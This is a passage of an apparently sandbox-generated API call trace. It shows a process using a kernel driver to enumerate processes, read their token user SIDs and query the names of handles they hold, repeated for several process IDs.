(Object=0xfffff8a00109ffc0) returned 0x50 [0095.229] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.229] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.229] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xae0) returned 0xc0 [0095.229] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.229] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80021385f0, HandleInformation=0x0) returned 0x0 [0095.229] ObOpenObjectByPointer (in: Object=0xfffffa80021385f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.229] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x12 [0095.229] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.229] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.229] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.229] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.229] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.230] CloseHandle (hObject=0xc8) returned 1 [0095.231] CloseHandle (hObject=0xc0) returned 1 [0095.231] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.231] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.231] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.231] PsAcquireProcessExitSynchronization () returned 0x0 [0095.231] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880052335d0) [0095.231] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002138f20, HandleInformation=0x0) returned 0x0 [0095.231] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.231] PsReleaseProcessExitSynchronization () returned 0x2 [0095.231] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0095.231] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.231] ObfDereferenceObject (Object=0xfffffa8002138f20) returned 0x1 [0095.231] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.231] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.231] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.231] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0095.231] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.231] PsAcquireProcessExitSynchronization () returned 0x0 [0095.231] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880052335d0) [0095.231] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800213cf20, HandleInformation=0x0) returned 0x0 [0095.231] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.231] PsReleaseProcessExitSynchronization () returned 0x2 [0095.231] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0095.231] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.231] ObfDereferenceObject (Object=0xfffffa800213cf20) returned 0x1 [0095.231] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.231] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.231] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.231] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.232] PsLookupProcessByProcessId (in: ProcessId=0xae0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.232] PsAcquireProcessExitSynchronization () returned 0x0 [0095.232] KeStackAttachProcess (in: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80021385f0, ApcState=0xfffff880052335d0) [0095.232] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.232] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.232] PsReleaseProcessExitSynchronization () returned 0x2 [0095.232] ObfDereferenceObject (Object=0xfffffa80021385f0) returned 0x10 [0095.232] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.232] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.232] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.232] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.232] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xaf0) returned 0xc0 [0095.232] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.232] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002146b30, HandleInformation=0x0) returned 0x0 [0095.232] ObOpenObjectByPointer (in: Object=0xfffffa8002146b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.232] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x12 [0095.232] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.232] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.232] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.232] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.232] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.234] CloseHandle (hObject=0xc8) returned 1 [0095.234] CloseHandle (hObject=0xc0) returned 1 [0095.234] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.234] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.234] PsAcquireProcessExitSynchronization () returned 0x0 [0095.234] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880052335d0) [0095.234] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021449e0, HandleInformation=0x0) returned 0x0 [0095.234] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.234] PsReleaseProcessExitSynchronization () returned 0x2 [0095.234] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0095.234] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.234] ObfDereferenceObject (Object=0xfffffa80021449e0) returned 0x1 [0095.234] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.234] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.234] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.234] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0095.234] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.234] PsAcquireProcessExitSynchronization () returned 0x0 [0095.234] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880052335d0) [0095.234] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80021485e0, HandleInformation=0x0) returned 0x0 [0095.234] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.234] PsReleaseProcessExitSynchronization () returned 0x2 [0095.234] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0095.235] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.235] ObfDereferenceObject (Object=0xfffffa80021485e0) returned 0x1 [0095.235] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.235] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.235] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.235] PsLookupProcessByProcessId (in: ProcessId=0xaf0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.235] PsAcquireProcessExitSynchronization () returned 0x0 [0095.235] KeStackAttachProcess (in: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002146b30, ApcState=0xfffff880052335d0) [0095.235] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.235] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.235] PsReleaseProcessExitSynchronization () returned 0x2 [0095.235] ObfDereferenceObject (Object=0xfffffa8002146b30) returned 0x10 [0095.235] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.235] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.235] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.235] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.235] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb00) returned 0xc0 [0095.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.235] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002151560, HandleInformation=0x0) returned 0x0 [0095.235] ObOpenObjectByPointer (in: Object=0xfffffa8002151560, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.235] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x13 [0095.235] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.235] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.235] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.235] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.235] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.237] CloseHandle (hObject=0xc8) returned 1 [0095.237] CloseHandle (hObject=0xc0) returned 1 [0095.237] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.237] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.237] PsAcquireProcessExitSynchronization () returned 0x0 [0095.237] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880052335d0) [0095.237] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002151e90, HandleInformation=0x0) returned 0x0 [0095.237] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.237] PsReleaseProcessExitSynchronization () returned 0x2 [0095.237] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x11 [0095.237] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.237] ObfDereferenceObject (Object=0xfffffa8002151e90) returned 0x1 [0095.237] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.237] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.237] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0095.237] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.237] PsAcquireProcessExitSynchronization () returned 0x0 [0095.238] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880052335d0) [0095.238] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002155f20, HandleInformation=0x0) returned 0x0 [0095.238] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.238] PsReleaseProcessExitSynchronization () returned 0x2 [0095.238] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x11 [0095.238] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.238] ObfDereferenceObject (Object=0xfffffa8002155f20) returned 0x1 [0095.238] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.238] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.238] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.238] PsLookupProcessByProcessId (in: ProcessId=0xb00, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.238] PsAcquireProcessExitSynchronization () returned 0x0 [0095.238] KeStackAttachProcess (in: PROCESS=0xfffffa8002151560, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002151560, ApcState=0xfffff880052335d0) [0095.238] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.238] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.238] PsReleaseProcessExitSynchronization () returned 0x2 [0095.238] ObfDereferenceObject (Object=0xfffffa8002151560) returned 0x11 [0095.238] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.238] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.239] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.239] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.239] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb10) returned 0xc0 [0095.239] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.239] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020fdb30, HandleInformation=0x0) returned 0x0 [0095.239] ObOpenObjectByPointer (in: Object=0xfffffa80020fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0095.239] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x12 [0095.239] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800365a600 | out: TokenHandle=0xfffffa800365a600*=0xc8) returned 0x0 [0095.239] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0095.239] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.239] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.239] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.240] CloseHandle (hObject=0xc8) returned 1 [0095.241] CloseHandle (hObject=0xc0) returned 1 [0095.241] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.241] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.241] PsLookupProcessByProcessId (in: ProcessId=0xb10, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.241] PsAcquireProcessExitSynchronization () returned 0x0 [0095.241] KeStackAttachProcess (in: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020fdb30, ApcState=0xfffff880052335d0) [0095.241] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001ed4070, HandleInformation=0x0) returned 0x0 [0095.241] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.241] PsReleaseProcessExitSynchronization () returned 0x2 [0095.241] ObfDereferenceObject (Object=0xfffffa80020fdb30) returned 0x10 [0095.241] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.241] ObfDereferenceObject (Object=0xfffffa8001ed4070) returned 0x1 [0095.241] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0095.241] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.241] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.241] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, 